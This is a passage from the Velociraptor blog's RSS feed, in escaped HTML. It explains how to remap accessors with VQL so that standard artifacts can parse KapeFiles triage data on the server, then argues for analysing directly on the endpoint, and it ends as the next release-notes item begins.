    width=&#34;1305&#34; height=&#34;645&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_collection.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting KapeFiles targets&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Once the collection is complete, the collection has transferred about&#xA;600mb of data in a couple of minutes.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/kapefiles_collection_overview.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting KapeFiles results&#34;&#xA;         width=&#34;1362&#34; height=&#34;643&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_collection_overview.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting KapeFiles results&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact is purely a collection&#xA;artifact - it does not parse or analyze any files on the endpoint,&#xA;instead it simply collects the bulk data to the server. All the files&#xA;that were transferred are visible in the &lt;code&gt;Uploaded Files&lt;/code&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/kapefiles_collection_uploads.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting KapeFiles Uploads&#34;&#xA;         width=&#34;1355&#34; height=&#34;649&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;kapefiles_collection_uploads.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting KapeFiles Uploads&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;postprocessing-downloaded-files&#34;&gt;Postprocessing downloaded files&lt;/h3&gt;&#xA;&lt;p&gt;Our first example is to parse the prefetch files with the&#xA;&lt;code&gt;Windows.Timeline.Prefetch&lt;/code&gt; artifact.&lt;/p&gt;&#xA;&lt;p&gt;Since Velociraptor&amp;rsquo;s data store is just a directory on disk it is easy&#xA;to just read the files. We can simply provide the artifact with the&#xA;relevant path on disk to search for prefetch files and parse them.&lt;/p&gt;&#xA;&lt;p&gt;I will click on the &lt;code&gt;Notebook&lt;/code&gt; Tab to start a new notebook and enter&#xA;the following VQL in a cell (My test system uses &lt;code&gt;F:/tmp/3/&lt;/code&gt; as the&#xA;filestore).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET FilePath = &amp;quot;F:/tmp/3/orgs/OHBHG/clients/C.dc736eeefcc58a6c-OHBHG/collections/F.CBJH2GD2ULRAQ/uploads&amp;quot;&#xA;&#xA;SELECT * FROM Artifact.Windows.Timeline.Prefetch(prefetchGlobs=FilePath+&amp;quot;/**/*.pf&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here the path on disk where the collection results are stored contain&#xA;the &lt;code&gt;ClientID&lt;/code&gt; and &lt;code&gt;FlowID&lt;/code&gt; (In this case there is also an Org&#xA;ID). Generally this path pattern will work for all collections.&lt;/p&gt;&#xA;&lt;p&gt;The VQL then simply calls the artifact &lt;code&gt;Windows.Timeline.Prefetch&lt;/code&gt;&#xA;with the relevant glob allowing it to search for prefetch files on the&#xA;server.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Notebooks queries &#34;&gt;&lt;p&gt;Notebooks contain cells which help the user to evaluate VQL queries&#xA;&lt;strong&gt;on the server&lt;/strong&gt;. Remember that notebook queries always run on the&#xA;server and not on the original client. This post-processing query will&#xA;parse the prefetch files on the server itself.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/simple_postprocessing.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Simple parsing of server collected files&#34;&#xA;         width=&#34;1307&#34; height=&#34;486&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;simple_postprocessing.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Simple parsing of server collected files&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;There are a number of disadvantages with this approach:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Since the files are parsed on the server, the results will contain&#xA;the full path to the server files (including the client id, flow id&#xA;and org id).&lt;/li&gt;&#xA;&lt;li&gt;For this to work well we need to really understand how the artifact&#xA;works - some artifacts accept a list of globs that allow them to&#xA;find certain files in non standard locations. These parameters will&#xA;be named differently in different artifacts and might not even&#xA;provide that level of customization.&lt;/li&gt;&#xA;&lt;li&gt;Some artifacts perform more complex operations, like enriching with&#xA;WMI queries or other API calls. Because this query is running on&#xA;the server it may mix server side information with the client side&#xA;information causing confusing results.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The main difficulty is that artifacts are typically written with the&#xA;expectation that they will be running on the endpoint. Some artifacts&#xA;search for files in certain locations and may not provide the&#xA;customization to be able to run on the server.&lt;/p&gt;&#xA;&lt;h3 id=&#34;remapping-accessors&#34;&gt;Remapping accessors&lt;/h3&gt;&#xA;&lt;p&gt;In recent versions of Velociraptor, a feature called &lt;code&gt;remapping&lt;/code&gt; was&#xA;introduced. The original purpose of remapping was to allow&#xA;Velociraptor to be used on a dead disk image, but the feature had&#xA;proved to be more widely useful.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor provides access to files using an &lt;code&gt;accessor&lt;/code&gt;. An accessor&#xA;can be thought of as simply a driver that presents a filesystem to the&#xA;various plugins within VQL. For example, the &lt;code&gt;registry&lt;/code&gt; accessor&#xA;presents the registry as a filesystem, so we can apply &lt;code&gt;glob()&lt;/code&gt; to&#xA;search the registry, &lt;code&gt;yara()&lt;/code&gt; to scan registry values etc.&lt;/p&gt;&#xA;&lt;p&gt;Remapping is simply a mechanism where we can substitute one accessor&#xA;for another. Let&amp;rsquo;s apply a remapping so we can run the&#xA;&lt;code&gt;Windows.Timeline.Prefetch&lt;/code&gt; artifact with default parameters.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET _ &amp;lt;= remap(clear=TRUE, config=regex_transform(source=&#39;&#39;&#39;&#xA;    remappings:&#xA;      - type: mount&#xA;        from:&#xA;          accessor: fs&#xA;          prefix: &amp;quot;/clients/ClientId/collections/FlowId/uploads/auto/&amp;quot;&#xA;        on:&#xA;          accessor: auto&#xA;          prefix: &amp;quot;&amp;quot;&#xA;          path_type: windows&#xA;&#39;&#39;&#39;, map=dict(FlowId=FlowId, ClientId=ClientId)))&#xA;&#xA;SELECT * FROM Artifact.Windows.Timeline.Prefetch()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above VQL builds a remapping configuration by substituting the&#xA;&lt;code&gt;ClientId&lt;/code&gt; and &lt;code&gt;FlowId&lt;/code&gt; into a template (this relies on the fact that&#xA;Flow Notebooks are pre-populated with &lt;code&gt;ClientId&lt;/code&gt; and &lt;code&gt;FlowId&lt;/code&gt;&#xA;variables).&lt;/p&gt;&#xA;&lt;p&gt;The remapping configuration performs a &lt;code&gt;mount&lt;/code&gt; operation from the file&#xA;store accessor rooted at the collection&amp;rsquo;s upload directory onto the root&#xA;of the &lt;code&gt;auto&lt;/code&gt; accessor. In other words, whenever subsequent VQL&#xA;attempts to open a file using the &lt;code&gt;auto&lt;/code&gt; accessor, Velociraptor will&#xA;remap that to the file store accessor rooted at the collection&amp;rsquo;s top&#xA;level. Because the &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; artifact preserves the&#xA;filesystem structure of collected files, the artifact should be able to&#xA;find the files on the server in the same location they are found on&#xA;the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;This allows us to just call the artifact directly without worrying&#xA;about customizing it specifically. This approach is conceptually&#xA;similar to building a virtual environment that emulates the endpoint&#xA;but using files found on the server.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/remapping_postprocessing.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Parsing of server collected files using a remapping&#34;&#xA;         width=&#34;1353&#34; height=&#34;647&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;remapping_postprocessing.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Parsing of server collected files using a remapping&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;remapping-the-ntfs-accessor&#34;&gt;Remapping the NTFS accessor&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s now try to parse the $MFT with the &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt; artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/remapping_postprocessing_ntfs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Parsing of $MFT on the server&#34;&#xA;         width=&#34;1159&#34; height=&#34;479&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;remapping_postprocessing_ntfs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Parsing of $MFT on the server&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This does not work because the server does not have the &lt;code&gt;ntfs&lt;/code&gt;&#xA;accessor! The &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt; artifact will try to open the $MFT&#xA;from the default path &lt;code&gt;C:\$MFT&lt;/code&gt; using the &lt;code&gt;ntfs&lt;/code&gt; accessor because this&#xA;is how we normally access the $MFT file on the endpoint. But on the&#xA;server we want to open the collected &lt;code&gt;$MFT&lt;/code&gt; file using the&#xA;filestore. We will have to add another mapping for that!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET _ &amp;lt;= remap(clear=TRUE, config=regex_transform(source=&#39;&#39;&#39;&#xA;    remappings:&#xA;      - type: mount&#xA;        from:&#xA;          accessor: fs&#xA;          prefix: &amp;quot;/clients/ClientId/collections/FlowId/uploads/ntfs/&amp;quot;&#xA;        on:&#xA;          accessor: ntfs&#xA;          prefix: &amp;quot;&amp;quot;&#xA;          path_type: ntfs&#xA;&#xA;&#39;&#39;&#39;, map=dict(FlowId=FlowId, ClientId=ClientId)))&#xA;&#xA;SELECT * FROM Artifact.Windows.NTFS.MFT()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This maps the &lt;code&gt;ntfs&lt;/code&gt; branch of the collection upload to the &lt;code&gt;ntfs&lt;/code&gt;&#xA;accessor. Now when the VQL opens files with the &lt;code&gt;ntfs&lt;/code&gt; accessor it&#xA;will actually be fetched from the server&amp;rsquo;s filestore.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/remapping_ntfs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Parsing of $MFT on the server with filestore remapping&#34;&#xA;         width=&#34;1330&#34; height=&#34;621&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;remapping_ntfs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Parsing of $MFT on the server with filestore remapping&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;registry-mapping&#34;&gt;Registry mapping&lt;/h3&gt;&#xA;&lt;p&gt;For our last example, we wish to see the list of installed programs on&#xA;the system by collecting the &lt;code&gt;Windows.Sys.Programs&lt;/code&gt; artifact. That&#xA;artifact simply enumerates the keys under&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&lt;/code&gt;. To&#xA;make this work we need to mount a virtual SOFTWARE registry hive in&#xA;such a way that when the artifact accesses that key, the internal raw&#xA;registry parser will be used to retrieve those values.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;&#xA;LET _ &amp;lt;= remap(clear=TRUE, config=regex_transform(source=&#39;&#39;&#39;&#xA;    remappings:&#xA;        - type: mount&#xA;          from:&#xA;            accessor: raw_reg&#xA;            prefix: |-&#xA;              {&#xA;                &amp;quot;Path&amp;quot;: &amp;quot;/&amp;quot;,&#xA;                &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;fs&amp;quot;,&#xA;                &amp;quot;DelegatePath&amp;quot;: &amp;quot;/clients/ClientId/collections/FlowId/uploads/auto/C:/Windows/System32/config/SOFTWARE&amp;quot;&#xA;              }&#xA;            path_type: registry&#xA;          &amp;quot;on&amp;quot;:&#xA;            accessor: registry&#xA;            prefix: HKEY_LOCAL_MACHINE\Software&#xA;            path_type: registry&#xA;&#39;&#39;&#39;, map=dict(FlowId=FlowId, ClientId=ClientId)))&#xA;&#xA;SELECT * FROM Artifact.Windows.Sys.Programs()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above directive instructs Velociraptor to use the &lt;code&gt;raw_reg&lt;/code&gt;&#xA;accessor to parse the file on the server, and mounts it under the&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\Software&lt;/code&gt; key in the registry accessor.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/remapping_registry.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Parsing of raw registry hives&#34;&#xA;         width=&#34;1318&#34; height=&#34;472&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;remapping_registry.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Parsing of raw registry hives&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A similar approach can be used to mount each user hive under&#xA;&lt;code&gt;/HKEY_USERS/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;automating-the-remapping&#34;&gt;Automating the remapping&lt;/h3&gt;&#xA;&lt;p&gt;The technique shown above can be extended to support multiple&#xA;artifacts but it is tedious to write by hand. Luckily there is an&#xA;artifact on the &lt;code&gt;Artifact Exchange&lt;/code&gt; called&#xA;&lt;code&gt;Windows.KapeFiles.Remapping&lt;/code&gt; to automate the remapping construction:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Remap standard registry hives e.g. &lt;code&gt;HKEY_LOCAL_MACHINE/Software&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Remap user hives on &lt;code&gt;HKEY_USERS/&amp;lt;Username&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mount ntfs and auto accessors&lt;/li&gt;&#xA;&lt;li&gt;Disable plugins which can not work on files (e.g. &lt;code&gt;pslist&lt;/code&gt;, &lt;code&gt;wmi&lt;/code&gt; etc)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The result is easy to use. In the below I unpack the Scheduled Tasks:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;LET _ &amp;lt;=&#xA; SELECT * FROM Artifact.Windows.KapeFiles.Remapping(ClientId=ClientId, FlowId=FlowId)&#xA;&#xA; SELECT * FROM Artifact.Windows.System.TaskScheduler()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/automatic_remapping_1.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Automating the remapping steps&#34;&#xA;         width=&#34;1346&#34; height=&#34;425&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;automatic_remapping_1.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Automating the remapping steps&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I can seamlessly use the EVTX hunter artifact&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/automatic_remapping_2.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Searching for event IDs from collected EVTX files&#34;&#xA;         width=&#34;1346&#34; height=&#34;524&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;automatic_remapping_2.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Searching for event IDs from collected EVTX files&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;In the previous section we saw how it is possible to post process&#xA;collected files on the server by reusing the standard Velociraptor&#xA;artifacts (that were written assuming they are running on the&#xA;endpoint).&lt;/p&gt;&#xA;&lt;p&gt;Is that a good idea though?&lt;/p&gt;&#xA;&lt;p&gt;Generally we do not recommend to use this methodology. Although it is&#xA;commonly done in other tools, collecting bulk files from the endpoint&#xA;and then parsing them offline is not an ideal method for a number of&#xA;reasons:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;It does not scale - typically a &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; collects&#xA;several Gigabytes of data. While this is acceptable for a small&#xA;number of hosts, it is impractical to collect that much data from&#xA;several thousand endpoints. Therefore effective hunting requires&#xA;parsing the files directly on the endpoint.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Bulk files from the endpoint are a limited source of data - there is&#xA;a lot more information that reflects the endpoint&amp;rsquo;s state. From WMI&#xA;queries, process memory captures, ARP caches etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;It is always difficult to guess exactly which files will be&#xA;required. In a &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt; collection, we need to&#xA;select the appropriate targets to collect. Collecting too much is&#xA;impractical and collecting too little might miss some important&#xA;information.&lt;/p&gt;&#xA;&lt;p&gt;For example consider the following artifact &lt;code&gt;Exchange.HashRunKeys&lt;/code&gt; -&#xA;an artifact that displays programs launched from &lt;code&gt;Run&lt;/code&gt; keys together&#xA;with their hashes. Because it is impossible to know prior to&#xA;collection which binaries are launched from the &lt;code&gt;Run&lt;/code&gt; keys, usually&#xA;the triage capture does not acquires these binaries. When we parse&#xA;the registry hives on the server, we are missing the actual hashes:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/hash_key.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Mapping to the triage bundle may miss crucial details&#34;&#xA;         width=&#34;1330&#34; height=&#34;491&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;hash_key.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Mapping to the triage bundle may miss crucial details&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;However collecting the artifact on the endpoint works much better.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-04-post-processing//blog/2022/2022-08-04-post-processing/live_hashes.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting directly on the endpoint works much better&#34;&#xA;         width=&#34;1279&#34; height=&#34;496&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;live_hashes.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting directly on the endpoint works much better&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parsing certain artifacts on the server is impossible to do. For&#xA;example, the above EVTX hunter enriches the SID in the event by&#xA;calling the &lt;code&gt;lookupSID()&lt;/code&gt; VQL function (that calls the Windows&#xA;API). Clearly this can not work on the server. Similarly &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2019/2019-11-12_windows-event-logs-d8d8e615c9ca/&#34;&gt;resolving&#xA;the event messages&lt;/a&gt; is also&#xA;problematic when parsing the event logs offline.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Rather than collecting bulk data using &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt;,&#xA;Velociraptor users should collect other, more capable artifacts, that&#xA;parse information directly on the endpoint (even if it is &lt;strong&gt;in&#xA;addition&lt;/strong&gt; to &lt;code&gt;Windows.KapeFiles.Targets&lt;/code&gt;). As the investigation&#xA;progresses, more artifacts can be collected as needed. We treat the&#xA;endpoint as the ultimate source of truth and simply query it&#xA;repeatedly.&lt;/p&gt;&#xA;&lt;p&gt;The traditional collect, transfer, analyze workflow was born from an&#xA;era when forensic tools were less capable and could not run directly&#xA;on the endpoint. Investigators had a one shot window for acquiring as&#xA;much data as possible, hoping they don&amp;rsquo;t need to go back and fetch&#xA;more.&lt;/p&gt;&#xA;&lt;p&gt;With the emergence of powerful, and always connected, DFIR tools like&#xA;Velociraptor, we can bring the analysis capabilities directly to the&#xA;endpoint. Because analysis is so fast now, one can quickly go back to&#xA;the endpoint and get further information iteratively.&lt;/p&gt;&#xA;&lt;p&gt;If you like the remapping feature, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor 0.6.5 Release</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes/</link>
      <pubDate>Tue, 21 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-06-21-release-notes/</guid>
      <description>&lt;p&gt;I am very excited to announce the latest Velociraptor release&#xA;0.6.5. This release has been in the making for a few months now and&#xA;has a lot of new features.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss some of the interesting new features.&lt;/p&gt;&#xA;&lt;h2 id=&#34;table-transformations&#34;&gt;Table transformations&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor collections or hunts are usually post processed or&#xA;filtered in &lt;code&gt;Notebooks&lt;/code&gt;. This allows users to refine and post process&#xA;the data in complex ways. For example, to view only the Velociraptor&#xA;service from a hunt collecting all services&#xA;(&lt;code&gt;Windows.System.Services&lt;/code&gt;), one would click on the Notebook tab and&#xA;modify the query by adding a &lt;code&gt;WHERE&lt;/code&gt; statement.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img 